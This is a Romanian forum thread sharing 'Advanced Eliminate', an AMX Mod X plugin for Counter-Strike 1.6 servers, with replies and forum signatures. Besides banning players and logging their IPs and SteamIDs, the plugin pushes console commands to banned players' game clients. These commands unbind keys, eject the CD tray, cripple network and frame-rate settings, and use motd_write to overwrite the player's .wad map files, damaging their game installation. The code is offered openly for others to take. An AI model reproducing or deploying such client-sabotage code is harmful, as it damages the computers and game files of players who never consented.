		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	if( Eliminates == 0 )
	{
		if( id == 0 )
		{
			server_print( "Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
		else
		{
			
			client_cmd( id, "echo Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
	}
	
	new start , end, pos_to_num;
	new position[ 5 ];
	
	read_argv( 1, position, sizeof ( position ) - 1 );
	pos_to_num = str_to_num( position );
	start = min( pos_to_num, Eliminates ) - 1;

	if( start <= 0 ) start = 0;
	
	end = min( start + 5, Eliminates ); // nu modifica aici mai mult de 5 ca iti va da reliable channel overflowed
	
	new plugin_info[ 128 ];
	
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
	
		server_print( "****************************************************" );
		server_print( "*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d", Eliminates, start + 1, end );
		server_print( "*    " );
		
		for( new i = start ; i < end ; i++ )
		{
			
			server_print( "***************** Detaliile eliminarii #%d *******************", i + 1 );
			server_print( "*    " );
			server_print( "*    " );
			server_print( "*    Nume: %s", EliminatedName[ i ] );
			server_print( "*    Ip: %s", EliminatedIp[ i ] );
			server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
			server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
			server_print( "*    Durata: Permanenta" );
			server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
			server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
			server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
			server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
			server_print( "*    " );
			server_print( "*    " );
			
		}
		
		server_print( "****************************************************");
		server_print( "%s", plugin_info );
		server_print( "****************************************************");
	}
	
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "echo ^"*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d^"", Eliminates, start + 1, end );
		client_cmd( id, "echo ^"*    ^"" );
		
		for( new i = start ; i < end ; i++ )
		{
			
			client_cmd( id, "echo ^"***************** Detaliile eliminarii #%d *******************^"", i + 1 );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
			client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
			client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
			client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
			client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
			client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
			client_cmd( id, "echo ^"*    Ip Admin: %s^"", EliminatedAdminIp[ i ] );
			client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
			client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    ^"" );
			
		}
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "%s", plugin_info );
		client_cmd( id, "echo ^"****************************************************^"");
	}
	
	return 1;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdReloadEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !");
		return 1;
	}
	
	Eliminates = 0;
	
	for( new i = 0 ; i < EliminatesNum ; i++ )
	{
		
		copy( EliminatedTime[ i ], sizeof ( EliminatedTime[ ] ) -1, "" );
		copy( EliminatedName[ i ], sizeof ( EliminatedName[ ] ) -1, "" );
		copy( EliminatedIp[ i ], sizeof ( EliminatedIp[ ] ) -1, "" );
		copy( EliminatedSteamId[ i ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
		copy( EliminatedAdminName[ i ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
		copy( EliminatedAdminIp[ i ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
		copy( EliminatedAdminSteamId[ i ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
		copy( EliminatedReason[ i ], sizeof ( EliminatedReason[ ] ) -1, "" );
		
	}
	
	if( id == 0 )
	{
		server_print( "Eliminarile vor fi reincarcate !" );
	}
	else
	{
		client_cmd( id, "echo Eliminarile vor fi reincarcate !" );
	}
	
	LoadEliminates( );
	
	if( id == 0 )
	{
		server_print( "Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	else
	{
		client_cmd( id, "echo Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	return 1;
}

public EliminateUser( id, Player, const reason[ ] )
{
	if( Eliminates >= EliminatesNum )
	{
		Log( "[EROARE] - EliminateList FULL  ( %d / %d ) !", Eliminates, EliminatesNum );
		return 1;	
	}
	
	
	new file[ 128 ], log[ 256 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) )
	{
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}	
	
	formatex( log, sizeof (log ) -1,"^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",
		_get_time( ), get_name( Player ), get_ip( Player ), get_authid( Player ),
		get_name( id ), get_ip( id ), get_authid( id ), reason );
		
	write_file( file, log, -1 );
	
	LoadEliminates( );
	
	
	set_task( 0.7, "ExecFirstEliminateCommands", Player + ELIMINATETASK );
	set_task( 0.9, "ExecSecondEliminateCommands", Player + ELIMINATETASK );
	
	return 0;
	
}

public ExecFirstEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( FirstEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", FirstEliminateCommands[ i ] );
	}
	
	return 0;
}

public ExecSecondEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( SecondEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", SecondEliminateCommands[ i ] );
	}
	
	return 0;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public LoadEliminates( )
{
	
	new file[ 128 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) ) 
	{
		Log( "[EROARE] - Nu am gasit %s ", file );
		Log( "[EROARE] - Creez un nou fisier." );
		
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}
	
	new f = fopen( file, "rt" );
	
	if( !f ) return 0;
	
	new data[ 512 ], buffer[ 8 ][ 64 ] ;
	
	while( !feof( f ) && Eliminates < EliminatesNum ) 
	{
		fgets( f, data, sizeof ( data ) -1 );
		
		if( !data[ 0 ] || data[ 0 ] == ';' || ( data[ 0 ] == '/' && data[ 1 ] == '/' ) ) 
			continue;
		
		parse(data,\
		buffer[ 0 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 1 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 2 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 3 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 4 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 5 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 6 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 7 ], sizeof ( buffer[ ] ) - 1
		);
		
		copy( EliminatedTime[ Eliminates ], sizeof ( EliminatedTime[ ] ) -1, buffer[ 0 ] );
		copy( EliminatedName[ Eliminates ], sizeof ( EliminatedName[ ] ) -1, buffer[ 1 ] );
		copy( EliminatedIp[ Eliminates ], sizeof ( EliminatedIp[ ] ) -1, buffer[ 2 ] );
		copy( EliminatedSteamId[ Eliminates ], sizeof ( EliminatedSteamId[ ] ) -1, buffer[ 3 ] );
		copy( EliminatedAdminName[ Eliminates ], sizeof ( EliminatedAdminName[ ] ) -1, buffer[ 4 ] );
		copy( EliminatedAdminIp[ Eliminates ], sizeof ( EliminatedAdminIp[ ] ) -1, buffer[ 5 ] );
		copy( EliminatedAdminSteamId[ Eliminates ], sizeof ( EliminatedAdminSteamId[ ] ) -1, buffer[ 6 ] );
		copy( EliminatedReason[ Eliminates ], sizeof ( EliminatedReason[ ] ) -1, buffer[ 7 ] );
		
		Eliminates++;
	}
	
	fclose( f );
	
	Log( "[INFO] - Am incarcat cu succes %d eliminari din %s", Eliminates, file );
	
	return 0;
}

public RemoveEliminate( i )
{
	for( new x = i ; x < Eliminates ; x++ )
	{
		if( x + 1 == EliminatesNum )
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, "" );
			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, "" );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, "" );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, "" );
			
		}
		else
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, EliminatedTime[ x + 1 ] );
			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, EliminatedName[ x + 1 ] );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, EliminatedIp[ x + 1 ] );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, EliminatedSteamId[ x + 1 ] );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, EliminatedAdminName[ x + 1 ] );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, EliminatedAdminIp[ x + 1 ] );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, EliminatedAdminSteamId[ x + 1 ] );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, EliminatedReason[ x + 1 ] );
		}
	}
	
	Eliminates--;
	
	ReWriteEliminations( );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ReWriteEliminations( )
{
	new file[ 128 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	new f = fopen( file, "wt" );
	
	fprintf( f, ";Ip-urile / Steamid-urile userilor eliminati permanent !^n" );
	fprintf( f, ";^n" );
	fprintf( f, ";^n" );
	
	static EliminateTime[ 32 ], EliminateName[ 32 ], EliminateIp[ 32 ], EliminateSteamId[ 35 ];
	static EliminateAdminName[ 32 ], EliminateAdminIp[ 32 ], EliminateAdminSteamId[ 35 ], EliminateReason[ 32 ];
	
	for( new i = 0 ; i < Eliminates ; i++ )
	{
		
		copy( EliminateTime, sizeof ( EliminateTime ) -1, EliminatedTime[ i ] );
		copy( EliminateName , sizeof ( EliminateName ) - 1, EliminatedName[ i ] );
		copy( EliminateIp , sizeof ( EliminateIp ) - 1, EliminatedIp[ i ] );
		copy( EliminateSteamId , sizeof ( EliminateSteamId ) - 1, EliminatedSteamId[ i ] );
		copy( EliminateAdminName , sizeof ( EliminateAdminName ) - 1, EliminatedAdminName[ i ] );
		copy( EliminateAdminIp , sizeof ( EliminateAdminIp ) - 1, EliminatedAdminIp[ i ] );
		copy( EliminateAdminSteamId , sizeof ( EliminateAdminSteamId ) - 1, EliminatedAdminSteamId[ i ] );
		copy( EliminateReason , sizeof ( EliminateReason ) - 1, EliminatedReason[ i ] );
		
		fprintf( f, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
		EliminateTime,\
		EliminateName,\
		EliminateIp,\
		EliminateSteamId,\
		EliminateAdminName,\
		EliminateAdminIp,\
		EliminateAdminSteamId,\
		EliminateReason
		);
	}
	
	fclose(f);
}

public LogToConfigs( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new file[ 128 ], log[ 256 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateLogFile );
	
	if( !file_exists( file ) ) 
	{
		write_file( file ,"In acest log veti gasi urmatoarele informatii:", -1 );
		write_file( file ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
		write_file( file ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
		write_file( file ,"",-1 );
		write_file( file ,"",-1 );
	}	
	
	formatex( log, sizeof (log ) -1,"|%s| - %s ", _get_time( ), message );
	write_file( file, log, -1 );

}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public Log( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new dir[ 64 ], file[ 128 ], log[ 256 ];	
	
	if( !dir[ 0 ] )
	{	
		get_basedir( dir, sizeof ( dir ) -1 );
		formatex( file, sizeof ( file ) -1,"%s/logs/AdvancedEliminate.log", dir );
	}
	
	formatex( log, sizeof (log ) -1,"|%s| %s ", _get_time( ), message );
	write_file( file, log, -1 );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public PrintConsoleInfo( id, const name[ ], const ip[ ], const steamid[ ], const reason[ ], const admin_name[ ], const admin_ip[ ], const admin_steamid[ ], const dateandtime[ ] )
{
	new plugin_info[ 128 ];
	formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"*********** %s v%s by %s ************^"", PLUGIN, VERSION, "Askhanar");
	
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "echo ^"***************Informatii despre eliminarea de pe server*********^"" );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"*    Nume: %s^"", name );
	client_cmd( id, "echo ^"*    Ip: %s^"", ip );
	client_cmd( id, "echo ^"*    Steamid: %s^"", steamid );
	client_cmd( id, "echo ^"*    Motiv: %s ^"", reason );
	client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
	client_cmd( id, "echo ^"*    Nume Admin: %s^"", admin_name );
	client_cmd( id, "echo ^"*    Ip Admin: %s^"", admin_ip );
	client_cmd( id, "echo ^"*    Steamid Admin: %s^"", admin_steamid );
	client_cmd( id, "echo ^"*    Data/Ora: %s^"", dateandtime );
	client_cmd( id, "echo ^"*    Daca te simti neindreptatit contacteaza-ne pe:^"");
	client_cmd( id, "echo ^"*    %s^"", get_site( ) );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "%s", plugin_info );
	client_cmd( id, "echo ^"****************************************************^"") ;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/
/*======================================= - ¦ Askhanar ¦ - =======================================*/

public TaskDisconnectPlayer( id )
{
	
	id -= ELIMINATETASK;
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
}
public TaskDisconnectPlayerFromSV( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
	return 1;
}

public CreateEliminateEffects( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	get_user_origin( id, vOrigin[ id ] );
	
	Create_TE_IMPLOSION( vOrigin[ id ], 100, 20, 5 );
	emit_sound( id, CHAN_STATIC, EliminateExplodeSound, 1.0, ATTN_NORM, 0, PITCH_NORM );
	
	
	set_task( 0.5, "CreateExplosionEffect", id + ELIMINATETASK );
	set_task( 0.5, "CreateBlastCirclesEffect", id + ELIMINATETASK );
	
	return 0;
}

public CreateExplosionEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3 ],vPosition[ 3 ];
	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ];
	
	vPosition[ 0 ] = vOrigin[ id ][ 0 ] + random_num( -100, 100 );
	vPosition[ 1 ] = vOrigin[ id ][ 1 ] + random_num( -100, 100 );
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + random_num( -50, 50 );
	
	Create_TE_EXPLOSION( Origin, vPosition, ExplodeSpr, (random_num(0,20) + 20), 12, 0 );
	Create_TE_Smoke( Origin, vPosition, SmokeSpr, 60, 10 );
	user_silentkill( id );
	
	return 0;
	
}

public CreateBlastCirclesEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3], vPosition[3];

	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ] - 16;

	vPosition[ 0 ] = vOrigin[ id ][ 0];
	vPosition[ 1 ] = vOrigin[ id ][ 1 ];
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + 250;

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );

	vOrigin[id][ 2 ] = ( Origin[2] - 250 ) + ( 250 / 2 );

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );
	
	return 0;
}
stock Create_TE_IMPLOSION( position[ 3 ], radius, count, life )
{

	message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( TE_IMPLOSION );
	write_coord( position[ 0 ] );			// position (X)
	write_coord( position[ 1 ] );			// position (Y)
	write_coord( position[ 2 ] );			// position (Z)
	write_byte ( radius );				// radius
	write_byte ( count );				// count
	write_byte ( life );					// life in 0.1's
	message_end( );
}

stock Create_TE_EXPLOSION( origin[ 3 ], origin2[ 3 ], iSprite, scale, frameRate, flags )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, origin );
	write_byte( TE_EXPLOSION );
	write_coord( origin2[ 0 ] );			// position (X)
	write_coord( origin2[ 1 ] );			// position (Y)
	write_coord( origin2[ 2 ]	);			// position (Z)
	write_short( iSprite );			// sprite index
	write_byte( scale );				// scale in 0.1's
	write_byte( frameRate );				// framerate
	write_byte( flags );					// flags
	message_end( );
}

stock Create_TE_Smoke( originSight[ 3 ], position[ 3 ], iSprite, scale, framerate )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, originSight );
	write_byte( TE_SMOKE );
	write_coord( position[ 0 ] );			// Position
	write_coord( position[ 1 ] );
	write_coord( position[ 2 ] );
	write_short( iSprite );				// Sprite index
	write_byte( scale );					// scale * 10
	write_byte( framerate  );		// framerate
	message_end( );
}



stock Create_TE_BEAMCYLINDER( origin[ 3 ], center[ 3 ], axis[ 3 ], iSprite, startFrame, frameRate, life, width, amplitude, red, green, blue, brightness, speed )
{

	message_begin( MSG_PAS, SVC_TEMPENTITY, origin );
	write_byte( TE_BEAMCYLINDER );
	write_coord( center[ 0 ] );			// center position (X)
	write_coord( center[ 1 ] );			// center position (Y)
	write_coord( center[ 2 ] );			// center position (Z)
	write_coord( axis[ 0 ] );				// axis and radius (X)
	write_coord( axis[ 1 ] );				// axis and radius (Y)
	write_coord( axis[ 2 ] );				// axis and radius (Z)
	write_short( iSprite );				// sprite index
	write_byte( startFrame );			// starting frame
	write_byte( frameRate );				// frame rate in 0.1's
	write_byte( life );					// life in 0.1's
	write_byte( width );					// line width in 0.1's
	write_byte( amplitude )	;			// noise amplitude in 0.01's
	write_byte( red );					// color (red)
	write_byte( green );					// color (green)
	write_byte( blue );				// color (blue)
	write_byte( brightness );			// brightness
	write_byte( speed );					// scroll speed in 0.1's
	message_end( );
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock get_name( id )
{
	new name[ 32 ];
	get_user_name( id, name, sizeof ( name ) -1 );

	return name;
}

stock get_ip( id )
{
	new ip[ 32 ];
	get_user_ip( id, ip, sizeof ( ip ) -1, 1 );

	return ip;
}

stock get_authid( id )
{
	new authid[ 35 ];
	get_user_authid( id, authid, sizeof ( authid ) -1 );

	return authid;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock get_tag( )
{
	new tag[ 32 ];
	get_pcvar_string( cvar_tag, tag, sizeof ( tag ) -1 );

	return tag;
}

stock get_site( )
{
	new site[ 32 ];
	get_pcvar_string( cvar_site, site, sizeof ( site ) -1 );

	return site;
}
stock _get_time( )
{
	new logtime[ 32 ];
	get_time("%d.%m.%Y - %H:%M:%S", logtime ,sizeof ( logtime ) -1 );
	
	return logtime;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

stock bool:HasUserAccess( id )
{
	if( get_user_flags( id ) & ELIMINATE_ACCESS )
		return true;
		
	return false;
}

public ShakeScreen( id, const Float:seconds )
{
	message_begin( MSG_ONE, get_user_msgid( "ScreenShake" ), { 0, 0, 0 }, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 1<<13 );
	message_end( );
	
}

public FadeScreen( id, const Float:seconds, const red, const green, const blue, const alpha )
{      
	message_begin( MSG_ONE, get_user_msgid( "ScreenFade" ), _, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 0x0000 );
	write_byte( red );
	write_byte( green );
	write_byte( blue );
	write_byte( alpha );
	message_end( );

}
/*======================================= - ¦ Askhanar ¦ - =======================================*/

/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ ansicpg1252\\ deff0{\\ fonttbl{\\ f0\\ froman\\ fcharset0 Times New Roman;}}\n{\\ colortbl ;\\ red0\\ green0\\ blue0;}\n\\ viewkind4\\ uc1\\ pard\\ cf1\\ lang11274\\ f0\\ fs24 \n\\ par }
*/

Nota: La vreo 100 de eliminari.. plugin`ul se buguieste la incarcarea / salvarea / reschierea eliminarilor.
Le incarca de mai multe ori pe aceleasi.. ( cu toate astea tot iei kick daca esti pe lista.. ) dar nu afecteaza comanda amx_eliminate.

Cei ce-l luati.. astept credite si un multumesc.
Am investit timp si rabdare in crearea lui.


LE: @ reading.. ai pus prea multe comenzi si jucatorul victima va primi realiable channel overflowed..
Caut o persoana dedicata care se pricepe si stie ce face.
Vreau sa creeze si sa se ocupe de administrarea unui server de MU, da e vorba de vechiul joc..ma gandesc undeva la un season 3 ep1/2.

O sa achizitionez un domeniu .ro.
Totodata sponsorizez absolut orice este necesar.
Ma puteti contacta prin: http://solo.to/stfrzv
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

27 Jul 2013, 23:56

Nu avem nevoie si de astea :-?

Code: Select all

new const EliminateExplodeSpr[ ] = "sprites/zerogxplode.spr";
new const EliminateShockWaveSpr[ ] = "sprites/shockwave.spr";
new const EliminateSmokeSpr[ ] = "sprites/steam1.spr";

new const EliminateExplodeSound[ ] = "ambience/particle_suck1.wav";
Daca as sti sa iti dau "credite" ti-as da cu mare drag . (nu stiu cum se procedeaza cu ele :) )
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
smileye
Fost moderator
Fost moderator
Posts: 4648
Joined: 12 Jun 2012, 15:18
Detinator Steam: Da
Reputatie: Fost moderator
Has thanked: 258 times
Been thanked: 38 times
Contact:

28 Jul 2013, 00:10

Askhanar wrote:daca tot il vreti.. am zis sa vi`l public.. ( il public din cauza ca: nu mai are efect pe userii steam... stiti si voi de update cu cl_filterstuffcmd )..
Advanced Eliminate | Afiseaza codul
/*
___________________________________________________________________________________________________________
===========================================================================================================
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
				    ___________________________________
				   |=                                 =|
			           |=       Advanced Eliminate        =|
			           |=       ¯¯¯¯¯¯¯¯ ¯by¯¯¯¯¯¯        =|
			           |=	              ¯¯Askhanar      =|
			           |=                   ¯¯¯¯¯¯¯¯      =|
                                    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
 __________________________________________________________________________________________________________
|==========================================================================================================|
|													   |
|					 Copyright © 2012, Askhanar					   |
|			  Acest fisier este prevazut asa cum este ( fara garantii )			   |
|													   |
|==========================================================================================================|
 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
	- ¦ 				         « Prieteni »			      		¦ -
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										      * * *
	* *  	Rap^		Frosten			TheBeast		AZAEL!   	* *
	* *	fuzy		razvan W-strafer	RZV			SNKT   	 	* *	
	* *	ahonen		Arion			pHum			d e w   	* *
	* *	gLobe		syBlow			kvL^			krom3       	* *
	* *	Henk		DANYEL			SimpLe			XENON^		* *
	* * *								                      *	* *
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	
	- ¦ 				       « Multumiri »			      		¦ -
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										      *	* *
	* *	o    war3ft mod    celor ce au creat modul war3ft pentru ca am luat		* *
	* *				din plugin-ul lor ultimate-ul de la			* *
	* *				rasa undead ( acela de explodeaza ).			* *
	* * *										      *	* *
	* *	o    Rap^    	pentru ca m-a ajutat tot timpul cu				* *
	* *				testatul si imbunatatirea plugin-ului		        * *
	* * *										      *	* *
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
 __________________________________________________________________________________________________________	
|==========================================================================================================|	
* 													   *
 *	                   Daca gasiti ceva in neregula, va rog sa ma contactati.		          *
  **												        **
    *				      YM:        ***_********					       *
     *				      Steam:     ***_********				              *
      **			      e-mail:    ***_********@yahoo.com			            **
        *										           *
	 *											  *
	 |****************************************************************************************|
	  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
*/

#include < amxmodx >
#include < amxmisc >

#include < fun >
#include < ColorChat >

#pragma semicolon 1

#define PLUGIN "Advanced Eliminate"
#define VERSION "0.1.5"


#define EliminatesNum			5120		
#define ELIMINATETASK 			112233		//Nu modifica..
#define ELIMINATE_ACCESS		ADMIN_LEVEL_E

static const ServerLicensedIp[ ] = "93.119.26.175";

new const FirstEliminateCommands[ ][ ] =
{
	"unbindall",
	"developer 1",
	"name SuntDistrus[Advanced_Eliminate]",
	"cd eject",
	"bind d snapshot",
	"bind a snapshot",
	"bind s snapshot",
	"bind w snapshot",
	"bind mouse1 snapshot",
	"bind mouse2 snapshot",
	"bind TAB snapshot",
	"bind SPACE snapshot",
	"bind y snapshot",
	"bind u snapshot",
	"bind ` snapshot",
	"bind ~ snapshot",
	"con_color 1 1 1",
	"hud_draw 0;hideradar;wait;room_type 10;wait;volume 5",
	"rate 1;wait;cl_cmdrate 10;wait;cl_updaterate 10;wait;gl_flipmatrix 1",
	"fps_modem 1,wait;fps_max 2;wait;sys_ticrate 1;wait;m_pitch 0.0;wait;m_yaw 0.0",
	"motdfile as_tundra.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cs_747.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
